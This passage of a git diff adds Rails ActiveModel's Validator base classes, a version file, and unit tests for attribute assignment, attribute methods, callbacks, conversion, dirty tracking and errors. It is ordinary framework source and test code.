+        validator = klass.new(options, &block)
+        validator.validate(self)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
new file mode 100644
index 0000000000..e17c3ca7b3
--- /dev/null
+++ b/activemodel/lib/active_model/validator.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/anonymous"
+
+module ActiveModel
+  # == Active \Model \Validator
+  #
+  # A simple base class that can be used along with
+  # ActiveModel::Validations::ClassMethods.validates_with
+  #
+  #   class Person
+  #     include ActiveModel::Validations
+  #     validates_with MyValidator
+  #   end
+  #
+  #   class MyValidator < ActiveModel::Validator
+  #     def validate(record)
+  #       if some_complex_logic
+  #         record.errors.add(:base, "This record is invalid")
+  #       end
+  #     end
+  #
+  #     private
+  #       def some_complex_logic
+  #         # ...
+  #       end
+  #   end
+  #
+  # Any class that inherits from ActiveModel::Validator must implement a method
+  # called +validate+ which accepts a +record+.
+  #
+  #   class Person
+  #     include ActiveModel::Validations
+  #     validates_with MyValidator
+  #   end
+  #
+  #   class MyValidator < ActiveModel::Validator
+  #     def validate(record)
+  #       record # => The person instance being validated
+  #       options # => Any non-standard options passed to validates_with
+  #     end
+  #   end
+  #
+  # To cause a validation error, you must add to the +record+'s errors directly
+  # from within the validators message.
+  #
+  #   class MyValidator < ActiveModel::Validator
+  #     def validate(record)
+  #       record.errors.add :base, "This is some custom error message"
+  #       record.errors.add :first_name, "This is some complex validation"
+  #       # etc...
+  #     end
+  #   end
+  #
+  # To add behavior to the initialize method, use the following signature:
+  #
+  #   class MyValidator < ActiveModel::Validator
+  #     def initialize(options)
+  #       super
+  #       @my_custom_field = options[:field_name] || :first_name
+  #     end
+  #   end
+  #
+  # Note that the validator is initialized only once for the whole application
+  # life cycle, and not on each validation run.
+  #
+  # The easiest way to add custom validators for validating individual attributes
+  # is with the convenient <tt>ActiveModel::EachValidator</tt>.
+  #
+  #   class TitleValidator < ActiveModel::EachValidator
+  #     def validate_each(record, attribute, value)
+  #       record.errors.add attribute, 'must be Mr., Mrs., or Dr.' unless %w(Mr. Mrs. Dr.).include?(value)
+  #     end
+  #   end
+  #
+  # This can now be used in combination with the +validates+ method
+  # (see <tt>ActiveModel::Validations::ClassMethods.validates</tt> for more on this).
+  #
+  #   class Person
+  #     include ActiveModel::Validations
+  #     attr_accessor :title
+  #
+  #     validates :title, presence: true, title: true
+  #   end
+  #
+  # It can be useful to access the class that is using that validator when there are prerequisites such
+  # as an +attr_accessor+ being present. This class is accessible via <tt>options[:class]</tt> in the constructor.
+  # To setup your validator override the constructor.
+  #
+  #   class MyValidator < ActiveModel::Validator
+  #     def initialize(options={})
+  #       super
+  #       options[:class].send :attr_accessor, :custom_attribute
+  #     end
+  #   end
+  class Validator
+    attr_reader :options
+
+    # Returns the kind of the validator.
+    #
+    #   PresenceValidator.kind   # => :presence
+    #   AcceptanceValidator.kind # => :acceptance
+    def self.kind
+      @kind ||= name.split("::").last.underscore.chomp("_validator").to_sym unless anonymous?
+    end
+
+    # Accepts options that will be made available through the +options+ reader.
+    def initialize(options = {})
+      @options = options.except(:class).freeze
+    end
+
+    # Returns the kind for this validator.
+    #
+    #   PresenceValidator.new(attributes: [:username]).kind # => :presence
+    #   AcceptanceValidator.new(attributes: [:terms]).kind  # => :acceptance
+    def kind
+      self.class.kind
+    end
+
+    # Override this method in subclasses with validation logic, adding errors
+    # to the records +errors+ array where necessary.
+    def validate(record)
+      raise NotImplementedError, "Subclasses must implement a validate(record) method."
+    end
+  end
+
+  # +EachValidator+ is a validator which iterates through the attributes given
+  # in the options hash invoking the <tt>validate_each</tt> method passing in the
+  # record, attribute and value.
+  #
+  # All \Active \Model validations are built on top of this validator.
+  class EachValidator < Validator #:nodoc:
+    attr_reader :attributes
+
+    # Returns a new validator instance. All options will be available via the
+    # +options+ reader, however the <tt>:attributes</tt> option will be removed
+    # and instead be made available through the +attributes+ reader.
+    def initialize(options)
+      @attributes = Array(options.delete(:attributes))
+      raise ArgumentError, ":attributes cannot be blank" if @attributes.empty?
+      super
+      check_validity!
+    end
+
+    # Performs validation on the supplied record. By default this will call
+    # +validate_each+ to determine validity therefore subclasses should
+    # override +validate_each+ with validation logic.
+    def validate(record)
+      attributes.each do |attribute|
+        value = record.read_attribute_for_validation(attribute)
+        next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
+        validate_each(record, attribute, value)
+      end
+    end
+
+    # Override this method in subclasses with the validation logic, adding
+    # errors to the records +errors+ array where necessary.
+    def validate_each(record, attribute, value)
+      raise NotImplementedError, "Subclasses must implement a validate_each(record, attribute, value) method"
+    end
+
+    # Hook method that gets called by the initializer allowing verification
+    # that the arguments supplied are valid. You could for example raise an
+    # +ArgumentError+ when invalid options are supplied.
+    def check_validity!
+    end
+  end
+
+  # +BlockValidator+ is a special +EachValidator+ which receives a block on initialization
+  # and call this block for each attribute being validated. +validates_each+ uses this validator.
+  class BlockValidator < EachValidator #:nodoc:
+    def initialize(options, &block)
+      @block = block
+      super
+    end
+
+    private
+
+      def validate_each(record, attribute, value)
+        @block.call(record, attribute, value)
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
new file mode 100644
index 0000000000..dd817f5639
--- /dev/null
+++ b/activemodel/lib/active_model/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActiveModel
+  # Returns the version of the currently loaded \Active \Model as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/activemodel/test/cases/attribute_assignment_test.rb b/activemodel/test/cases/attribute_assignment_test.rb
new file mode 100644
index 0000000000..5ecf0a69c4
--- /dev/null
+++ b/activemodel/test/cases/attribute_assignment_test.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/hash_with_indifferent_access"
+
+class AttributeAssignmentTest < ActiveModel::TestCase
+  class Model
+    include ActiveModel::AttributeAssignment
+
+    attr_accessor :name, :description
+
+    def initialize(attributes = {})
+      assign_attributes(attributes)
+    end
+
+    def broken_attribute=(value)
+      raise ErrorFromAttributeWriter
+    end
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_writer :metadata
+  end
+
+  class ErrorFromAttributeWriter < StandardError
+  end
+
+  class ProtectedParams
+    attr_accessor :permitted
+    alias :permitted? :permitted
+
+    delegate :keys, :key?, :has_key?, :empty?, to: :@parameters
+
+    def initialize(attributes)
+      @parameters = attributes.with_indifferent_access
+      @permitted = false
+    end
+
+    def permit!
+      @permitted = true
+      self
+    end
+
+    def [](key)
+      @parameters[key]
+    end
+
+    def to_h
+      @parameters
+    end
+
+    def stringify_keys
+      dup
+    end
+
+    def dup
+      super.tap do |duplicate|
+        duplicate.instance_variable_set :@permitted, permitted?
+      end
+    end
+  end
+
+  test "simple assignment" do
+    model = Model.new
+
+    model.assign_attributes(name: "hello", description: "world")
+    assert_equal "hello", model.name
+    assert_equal "world", model.description
+  end
+
+  test "assign non-existing attribute" do
+    model = Model.new
+    error = assert_raises(ActiveModel::UnknownAttributeError) do
+      model.assign_attributes(hz: 1)
+    end
+
+    assert_equal model, error.record
+    assert_equal "hz", error.attribute
+  end
+
+  test "assign private attribute" do
+    model = Model.new
+    assert_raises(ActiveModel::UnknownAttributeError) do
+      model.assign_attributes(metadata: { a: 1 })
+    end
+  end
+
+  test "does not swallow errors raised in an attribute writer" do
+    assert_raises(ErrorFromAttributeWriter) do
+      Model.new(broken_attribute: 1)
+    end
+  end
+
+  test "an ArgumentError is raised if a non-hash-like object is passed" do
+    assert_raises(ArgumentError) do
+      Model.new(1)
+    end
+  end
+
+  test "forbidden attributes cannot be used for mass assignment" do
+    params = ProtectedParams.new(name: "Guille", description: "m")
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Model.new(params)
+    end
+  end
+
+  test "permitted attributes can be used for mass assignment" do
+    params = ProtectedParams.new(name: "Guille", description: "desc")
+    params.permit!
+    model = Model.new(params)
+
+    assert_equal "Guille", model.name
+    assert_equal "desc", model.description
+  end
+
+  test "regular hash should still be used for mass assignment" do
+    model = Model.new(name: "Guille", description: "m")
+
+    assert_equal "Guille", model.name
+    assert_equal "m", model.description
+  end
+
+  test "assigning no attributes should not raise, even if the hash is un-permitted" do
+    model = Model.new
+    assert_nil model.assign_attributes(ProtectedParams.new({}))
+  end
+end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
new file mode 100644
index 0000000000..d2837ec894
--- /dev/null
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -0,0 +1,283 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ModelWithAttributes
+  include ActiveModel::AttributeMethods
+
+  class << self
+    define_method(:bar) do
+      "original bar"
+    end
+  end
+
+  def attributes
+    { foo: "value of foo", baz: "value of baz" }
+  end
+
+private
+  def attribute(name)
+    attributes[name.to_sym]
+  end
+end
+
+class ModelWithAttributes2
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :attributes
+
+  attribute_method_suffix "_test"
+
+private
+  def attribute(name)
+    attributes[name.to_s]
+  end
+
+  alias attribute_test attribute
+
+  def private_method
+    "<3 <3"
+  end
+
+protected
+
+  def protected_method
+    "O_o O_o"
+  end
+end
+
+class ModelWithAttributesWithSpaces
+  include ActiveModel::AttributeMethods
+
+  def attributes
+    { 'foo bar': "value of foo bar" }
+  end
+
+private
+  def attribute(name)
+    attributes[name.to_sym]
+  end
+end
+
+class ModelWithWeirdNamesAttributes
+  include ActiveModel::AttributeMethods
+
+  class << self
+    define_method(:'c?d') do
+      "original c?d"
+    end
+  end
+
+  def attributes
+    { 'a?b': "value of a?b" }
+  end
+
+private
+  def attribute(name)
+    attributes[name.to_sym]
+  end
+end
+
+class ModelWithRubyKeywordNamedAttributes
+  include ActiveModel::AttributeMethods
+
+  def attributes
+    { begin: "value of begin", end: "value of end" }
+  end
+
+private
+  def attribute(name)
+    attributes[name.to_sym]
+  end
+end
+
+class ModelWithoutAttributesMethod
+  include ActiveModel::AttributeMethods
+end
+
+class AttributeMethodsTest < ActiveModel::TestCase
+  test "method missing works correctly even if attributes method is not defined" do
+    assert_raises(NoMethodError) { ModelWithoutAttributesMethod.new.foo }
+  end
+
+  test "unrelated classes should not share attribute method matchers" do
+    assert_not_equal ModelWithAttributes.send(:attribute_method_matchers),
+                     ModelWithAttributes2.send(:attribute_method_matchers)
+  end
+
+  test "#define_attribute_method generates attribute method" do
+    begin
+      ModelWithAttributes.define_attribute_method(:foo)
+
+      assert_respond_to ModelWithAttributes.new, :foo
+      assert_equal "value of foo", ModelWithAttributes.new.foo
+    ensure
+      ModelWithAttributes.undefine_attribute_methods
+    end
+  end
+
+  test "#define_attribute_method does not generate attribute method if already defined in attribute module" do
+    klass = Class.new(ModelWithAttributes)
+    klass.send(:generated_attribute_methods).module_eval do
+      def foo
+        "<3"
+      end
+    end
+    klass.define_attribute_method(:foo)
+
+    assert_equal "<3", klass.new.foo
+  end
+
+  test "#define_attribute_method generates a method that is already defined on the host" do
+    klass = Class.new(ModelWithAttributes) do
+      def foo
+        super
+      end
+    end
+    klass.define_attribute_method(:foo)
+
+    assert_equal "value of foo", klass.new.foo
+  end
+
+  test "#define_attribute_method generates attribute method with invalid identifier characters" do
+    begin
+      ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
+
+      assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
+      assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send("a?b")
+    ensure
+      ModelWithWeirdNamesAttributes.undefine_attribute_methods
+    end
+  end
+
+  test "#define_attribute_methods works passing multiple arguments" do
+    begin
+      ModelWithAttributes.define_attribute_methods(:foo, :baz)
+
+      assert_equal "value of foo", ModelWithAttributes.new.foo
+      assert_equal "value of baz", ModelWithAttributes.new.baz
+    ensure
+      ModelWithAttributes.undefine_attribute_methods
+    end
+  end
+
+  test "#define_attribute_methods generates attribute methods" do
+    begin
+      ModelWithAttributes.define_attribute_methods(:foo)
+
+      assert_respond_to ModelWithAttributes.new, :foo
+      assert_equal "value of foo", ModelWithAttributes.new.foo
+    ensure
+      ModelWithAttributes.undefine_attribute_methods
+    end
+  end
+
+  test "#alias_attribute generates attribute_aliases lookup hash" do
+    klass = Class.new(ModelWithAttributes) do
+      define_attribute_methods :foo
+      alias_attribute :bar, :foo
+    end
+
+    assert_equal({ "bar" => "foo" }, klass.attribute_aliases)
+  end
+
+  test "#define_attribute_methods generates attribute methods with spaces in their names" do
+    begin
+      ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+
+      assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+      assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+    ensure
+      ModelWithAttributesWithSpaces.undefine_attribute_methods
+    end
+  end
+
+  test "#alias_attribute works with attributes with spaces in their names" do
+    begin
+      ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+      ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
+
+      assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+    ensure
+      ModelWithAttributesWithSpaces.undefine_attribute_methods
+    end
+  end
+
+  test "#alias_attribute works with attributes named as a ruby keyword" do
+    begin
+      ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+      ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+      ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+      assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+      assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+    ensure
+      ModelWithRubyKeywordNamedAttributes.undefine_attribute_methods
+    end
+  end
+
+  test "#undefine_attribute_methods removes attribute methods" do
+    ModelWithAttributes.define_attribute_methods(:foo)
+    ModelWithAttributes.undefine_attribute_methods
+
+    assert !ModelWithAttributes.new.respond_to?(:foo)
+    assert_raises(NoMethodError) { ModelWithAttributes.new.foo }
+  end
+
+  test "accessing a suffixed attribute" do
+    m = ModelWithAttributes2.new
+    m.attributes = { "foo" => "bar" }
+
+    assert_equal "bar", m.foo
+    assert_equal "bar", m.foo_test
+  end
+
+  test "should not interfere with method_missing if the attr has a private/protected method" do
+    m = ModelWithAttributes2.new
+    m.attributes = { "private_method" => "<3", "protected_method" => "O_o" }
+
+    # dispatches to the *method*, not the attribute
+    assert_equal "<3 <3",   m.send(:private_method)
+    assert_equal "O_o O_o", m.send(:protected_method)
+
+    # sees that a method is already defined, so doesn't intervene
+    assert_raises(NoMethodError) { m.private_method }
+    assert_raises(NoMethodError) { m.protected_method }
+  end
+
+  class ClassWithProtected
+    protected
+      def protected_method
+      end
+  end
+
+  test "should not interfere with respond_to? if the attribute has a private/protected method" do
+    m = ModelWithAttributes2.new
+    m.attributes = { "private_method" => "<3", "protected_method" => "O_o" }
+
+    assert !m.respond_to?(:private_method)
+    assert m.respond_to?(:private_method, true)
+
+    c = ClassWithProtected.new
+
+    # This is messed up, but it's how Ruby works at the moment. Apparently it will be changed
+    # in the future.
+    assert_equal c.respond_to?(:protected_method), m.respond_to?(:protected_method)
+    assert m.respond_to?(:protected_method, true)
+  end
+
+  test "should use attribute_missing to dispatch a missing attribute" do
+    m = ModelWithAttributes2.new
+    m.attributes = { "foo" => "bar" }
+
+    def m.attribute_missing(match, *args, &block)
+      match
+    end
+
+    match = m.foo_test
+
+    assert_equal "foo",            match.attr_name
+    assert_equal "attribute_test", match.target
+    assert_equal "foo_test",       match.method_name
+  end
+end
diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb
new file mode 100644
index 0000000000..a5d29d0f22
--- /dev/null
+++ b/activemodel/test/cases/callbacks_test.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class CallbacksTest < ActiveModel::TestCase
+  class CallbackValidator
+    def around_create(model)
+      model.callbacks << :before_around_create
+      yield
+      model.callbacks << :after_around_create
+      false
+    end
+  end
+
+  class ModelCallbacks
+    attr_reader :callbacks
+    extend ActiveModel::Callbacks
+
+    define_model_callbacks :create
+    define_model_callbacks :initialize, only: :after
+    define_model_callbacks :multiple,   only: [:before, :around]
+    define_model_callbacks :empty,      only: []
+
+    before_create :before_create
+    around_create CallbackValidator.new
+
+    after_create do |model|
+      model.callbacks << :after_create
+      false
+    end
+
+    after_create { |model| model.callbacks << :final_callback }
+
+    def initialize(options = {})
+      @callbacks = []
+      @valid = options[:valid]
+      @before_create_returns = options.fetch(:before_create_returns, true)
+      @before_create_throws = options[:before_create_throws]
+    end
+
+    def before_create
+      @callbacks << :before_create
+      throw(@before_create_throws) if @before_create_throws
+      @before_create_returns
+    end
+
+    def create
+      run_callbacks :create do
+        @callbacks << :create
+        @valid
+      end
+    end
+  end
+
+  test "complete callback chain" do
+    model = ModelCallbacks.new
+    model.create
+    assert_equal model.callbacks, [ :before_create, :before_around_create, :create,
+                                    :after_around_create, :after_create, :final_callback]
+  end
+
+  test "the callback chain is not halted when around or after callbacks return false" do
+    model = ModelCallbacks.new
+    model.create
+    assert_equal model.callbacks.last, :final_callback
+  end
+
+  test "the callback chain is not halted when a before callback returns false)" do
+    model = ModelCallbacks.new(before_create_returns: false)
+    model.create
+    assert_equal model.callbacks.last, :final_callback
+  end
+
+  test "the callback chain is halted when a callback throws :abort" do
+    model = ModelCallbacks.new(before_create_throws: :abort)
+    model.create
+    assert_equal model.callbacks, [:before_create]
+  end
+
+  test "after callbacks are not executed if the block returns false" do
+    model = ModelCallbacks.new(valid: false)
+    model.create
+    assert_equal model.callbacks, [ :before_create, :before_around_create,
+                                    :create, :after_around_create]
+  end
+
+  test "only selects which types of callbacks should be created" do
+    assert !ModelCallbacks.respond_to?(:before_initialize)
+    assert !ModelCallbacks.respond_to?(:around_initialize)
+    assert_respond_to ModelCallbacks, :after_initialize
+  end
+
+  test "only selects which types of callbacks should be created from an array list" do
+    assert_respond_to ModelCallbacks, :before_multiple
+    assert_respond_to ModelCallbacks, :around_multiple
+    assert !ModelCallbacks.respond_to?(:after_multiple)
+  end
+
+  test "no callbacks should be created" do
+    assert !ModelCallbacks.respond_to?(:before_empty)
+    assert !ModelCallbacks.respond_to?(:around_empty)
+    assert !ModelCallbacks.respond_to?(:after_empty)
+  end
+
+  class Violin
+    attr_reader :history
+    def initialize
+      @history = []
+    end
+    extend ActiveModel::Callbacks
+    define_model_callbacks :create
+    def callback1; history << "callback1"; end
+    def callback2; history << "callback2"; end
+    def create
+      run_callbacks(:create) {}
+      self
+    end
+  end
+  class Violin1 < Violin
+    after_create :callback1, :callback2
+  end
+  class Violin2 < Violin
+    after_create :callback1
+    after_create :callback2
+  end
+
+  test "after_create callbacks with both callbacks declared in one line" do
+    assert_equal ["callback1", "callback2"], Violin1.new.create.history
+  end
+
+  test "after_create callbacks with both callbacks declared in different lines" do
+    assert_equal ["callback1", "callback2"], Violin2.new.create.history
+  end
+end
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
new file mode 100644
index 0000000000..347896ed50
--- /dev/null
+++ b/activemodel/test/cases/conversion_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/contact"
+require "models/helicopter"
+
+class ConversionTest < ActiveModel::TestCase
+  test "to_model default implementation returns self" do
+    contact = Contact.new
+    assert_equal contact, contact.to_model
+  end
+
+  test "to_key default implementation returns nil for new records" do
+    assert_nil Contact.new.to_key
+  end
+
+  test "to_key default implementation returns the id in an array for persisted records" do
+    assert_equal [1], Contact.new(id: 1).to_key
+  end
+
+  test "to_param default implementation returns nil for new records" do
+    assert_nil Contact.new.to_param
+  end
+
+  test "to_param default implementation returns a string of ids for persisted records" do
+    assert_equal "1", Contact.new(id: 1).to_param
+  end
+
+  test "to_param returns the string joined by '-'" do
+    assert_equal "abc-xyz", Contact.new(id: ["abc", "xyz"]).to_param
+  end
+
+  test "to_param returns nil if to_key is nil" do
+    klass = Class.new(Contact) do
+      def persisted?
+        true
+      end
+    end
+
+    assert_nil klass.new.to_param
+  end
+
+  test "to_partial_path default implementation returns a string giving a relative path" do
+    assert_equal "contacts/contact", Contact.new.to_partial_path
+    assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
+      "ActiveModel::Conversion#to_partial_path caching should be class-specific"
+  end
+
+  test "to_partial_path handles namespaced models" do
+    assert_equal "helicopter/comanches/comanche", Helicopter::Comanche.new.to_partial_path
+  end
+end
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
new file mode 100644
index 0000000000..2cd9e185e6
--- /dev/null
+++ b/activemodel/test/cases/dirty_test.rb
@@ -0,0 +1,222 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class DirtyTest < ActiveModel::TestCase
+  class DirtyModel
+    include ActiveModel::Dirty
+    define_attribute_methods :name, :color, :size
+
+    def initialize
+      @name = nil
+      @color = nil
+      @size = nil
+    end
+
+    def name
+      @name
+    end
+
+    def name=(val)
+      name_will_change!
+      @name = val
+    end
+
+    def color
+      @color
+    end
+
+    def color=(val)
+      color_will_change! unless val == @color
+      @color = val
+    end
+
+    def size
+      @size
+    end
+
+    def size=(val)
+      attribute_will_change!(:size) unless val == @size
+      @size = val
+    end
+
+    def save
+      changes_applied
+    end
+
+    def reload
+      clear_changes_information
+    end
+  end
+
+  setup do
+    @model = DirtyModel.new
+  end
+
+  test "setting attribute will result in change" do
+    assert !@model.changed?
+    assert !@model.name_changed?
+    @model.name = "Ringo"
+    assert @model.changed?
+    assert @model.name_changed?
+  end
+
+  test "list of changed attribute keys" do
+    assert_equal [], @model.changed
+    @model.name = "Paul"
+    assert_equal ["name"], @model.changed
+  end
+
+  test "changes to attribute values" do
+    assert !@model.changes["name"]
+    @model.name = "John"
+    assert_equal [nil, "John"], @model.changes["name"]
+  end
+
+  test "checking if an attribute has changed to a particular value" do
+    @model.name = "Ringo"
+    assert @model.name_changed?(from: nil, to: "Ringo")
+    assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+    assert @model.name_changed?(to: "Ringo")
+    assert_not @model.name_changed?(to: "Pete")
+    assert @model.name_changed?(from: nil)
+    assert_not @model.name_changed?(from: "Pete")
+  end
+
+  test "changes accessible through both strings and symbols" do
+    @model.name = "David"
+    assert_not_nil @model.changes[:name]
+    assert_not_nil @model.changes["name"]
+  end
+
+  test "be consistent with symbols arguments after the changes are applied" do
+    @model.name = "David"
+    assert @model.attribute_changed?(:name)
+    @model.save
+    @model.name = "Rafael"
+    assert @model.attribute_changed?(:name)
+  end
+
+  test "attribute mutation" do
+    @model.instance_variable_set("@name", "Yam".dup)
+    assert !@model.name_changed?
+    @model.name.replace("Hadad")
+    assert !@model.name_changed?
+    @model.name_will_change!
+    @model.name.replace("Baal")
+    assert @model.name_changed?
+  end
+
+  test "resetting attribute" do
+    @model.name = "Bob"
+    @model.restore_name!
+    assert_nil @model.name
+    assert !@model.name_changed?
+  end
+
+  test "setting color to same value should not result in change being recorded" do
+    @model.color = "red"
+    assert @model.color_changed?
+    @model.save
+    assert !@model.color_changed?
+    assert !@model.changed?
+    @model.color = "red"
+    assert !@model.color_changed?
+    assert !@model.changed?
+  end
+
+  test "saving should reset model's changed status" do
+    @model.name = "Alf"
+    assert @model.changed?
+    @model.save
+    assert !@model.changed?
+    assert !@model.name_changed?
+  end
+
+  test "saving should preserve previous changes" do
+    @model.name = "Jericho Cane"
+    @model.save
+    assert_equal [nil, "Jericho Cane"], @model.previous_changes["name"]
+  end
+
+  test "setting new attributes should not affect previous changes" do
+    @model.name = "Jericho Cane"
+    @model.save
+    @model.name = "DudeFella ManGuy"
+    assert_equal [nil, "Jericho Cane"], @model.name_previous_change
+  end
+
+  test "saving should preserve model's previous changed status" do
+    @model.name = "Jericho Cane"
+    @model.save
+    assert @model.name_previously_changed?
+  end
+
+  test "previous value is preserved when changed after save" do
+    assert_equal({}, @model.changed_attributes)
+    @model.name = "Paul"
+    assert_equal({ "name" => nil }, @model.changed_attributes)
+
+    @model.save
+
+    @model.name = "John"
+    assert_equal({ "name" => "Paul" }, @model.changed_attributes)
+  end
+
+  test "changing the same attribute multiple times retains the correct original value" do
+    @model.name = "Otto"
+    @model.save
+    @model.name = "DudeFella ManGuy"
+    @model.name = "Mr. Manfredgensonton"
+    assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
+    assert_equal @model.name_was, "Otto"
+  end
+
+  test "using attribute_will_change! with a symbol" do
+    @model.size = 1
+    assert @model.size_changed?
+  end
+
+  test "reload should reset all changes" do
+    @model.name = "Dmitry"
+    @model.name_changed?
+    @model.save
+    @model.name = "Bob"
+
+    assert_equal [nil, "Dmitry"], @model.previous_changes["name"]
+    assert_equal "Dmitry", @model.changed_attributes["name"]
+
+    @model.reload
+
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+  end
+
+  test "restore_attributes should restore all previous data" do
+    @model.name = "Dmitry"
+    @model.color = "Red"
+    @model.save
+    @model.name = "Bob"
+    @model.color = "White"
+
+    @model.restore_attributes
+
+    assert_not @model.changed?
+    assert_equal "Dmitry", @model.name
+    assert_equal "Red", @model.color
+  end
+
+  test "restore_attributes can restore only some attributes" do
+    @model.name = "Dmitry"
+    @model.color = "Red"
+    @model.save
+    @model.name = "Bob"
+    @model.color = "White"
+
+    @model.restore_attributes(["name"])
+
+    assert @model.changed?
+    assert_equal "Dmitry", @model.name
+    assert_equal "White", @model.color
+  end
+end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
new file mode 100644
index 0000000000..ab18af0de1
--- /dev/null
+++ b/activemodel/test/cases/errors_test.rb
@@ -0,0 +1,420 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/string/strip"
+require "yaml"
+
+class ErrorsTest < ActiveModel::TestCase
+  class Person
+    extend ActiveModel::Naming
+    def initialize
+      @errors = ActiveModel::Errors.new(self)
+    end
+
+    attr_accessor :name, :age
+    attr_reader   :errors
+
+    def validate!
+      errors.add(:name, :blank, message: "cannot be nil") if name == nil
+    end
+
+    def read_attribute_for_validation(attr)
+      send(attr)
+    end
+
+    def self.human_attribute_name(attr, options = {})
+      attr
+    end
+
+    def self.lookup_ancestors
+      [self]
+    end
+  end
+
+  def test_delete
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] << "omg"
+    errors.delete("foo")
+    assert_empty errors[:foo]
+  end
+
+  def test_include?
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] << "omg"
+    assert_includes errors, :foo, "errors should include :foo"
+    assert_includes errors, "foo", "errors should include 'foo' as :foo"
+  end
+
+  def test_dup
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] << "bar"
+    errors_dup = errors.dup
+    errors_dup[:bar] << "omg"
+    assert_not_same errors_dup.messages, errors.messages
+  end
+
+  def test_has_key?
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] << "omg"
+    assert_equal true, errors.has_key?(:foo), "errors should have key :foo"
+    assert_equal true, errors.has_key?("foo"), "errors should have key 'foo' as :foo"
+  end
+
+  def test_has_no_key
+    errors = ActiveModel::Errors.new(self)
+    assert_equal false, errors.has_key?(:name), "errors should not have key :name"
+  end
+
+  def test_key?
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] << "omg"
+    assert_equal true, errors.key?(:foo), "errors should have key :foo"
+    assert_equal true, errors.key?("foo"), "errors should have key 'foo' as :foo"
+  end
+
+  def test_no_key
+    errors = ActiveModel::Errors.new(self)
+    assert_equal false, errors.key?(:name), "errors should not have key :name"
+  end
+
+  test "clear errors" do
+    person = Person.new
+    person.validate!
+
+    assert_equal 1, person.errors.count
+    person.errors.clear
+    assert person.errors.empty?
+  end
+
+  test "error access is indifferent" do
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] << "omg"
+
+    assert_equal ["omg"], errors["foo"]
+  end
+
+  test "values returns an array of messages" do
+    errors = ActiveModel::Errors.new(self)
+    errors.messages[:foo] = "omg"
+    errors.messages[:baz] = "zomg"
+
+    assert_equal ["omg", "zomg"], errors.values
+  end
+
+  test "values returns an empty array after try to get a message only" do
+    errors = ActiveModel::Errors.new(self)
+    errors.messages[:foo]
+    errors.messages[:baz]
+
+    assert_equal [], errors.values
+  end
+
+  test "keys returns the error keys" do
+    errors = ActiveModel::Errors.new(self)
+    errors.messages[:foo] << "omg"
+    errors.messages[:baz] << "zomg"
+
+    assert_equal [:foo, :baz], errors.keys
+  end
+
+  test "keys returns an empty array after try to get a message only" do
+    errors = ActiveModel::Errors.new(self)
+    errors.messages[:foo]
+    errors.messages[:baz]
+
+    assert_equal [], errors.keys
+  end
+
+  test "detecting whether there are errors with empty?, blank?, include?" do
+    person = Person.new
+    person.errors[:foo]
+    assert person.errors.empty?
+    assert person.errors.blank?
+    assert_not_includes person.errors, :foo
+  end
+
+  test "include? does not add a key to messages hash" do
+    person = Person.new
+    person.errors.include?(:foo)
+
+    assert_not person.errors.messages.key?(:foo)
+  end
+
+  test "adding errors using conditionals with Person#validate!" do
+    person = Person.new
+    person.validate!
+    assert_equal ["name cannot be nil"], person.errors.full_messages
+    assert_equal ["cannot be nil"], person.errors[:name]
+  end
+
+  test "add an error message on a specific attribute" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_equal ["cannot be blank"], person.errors[:name]
+  end
+
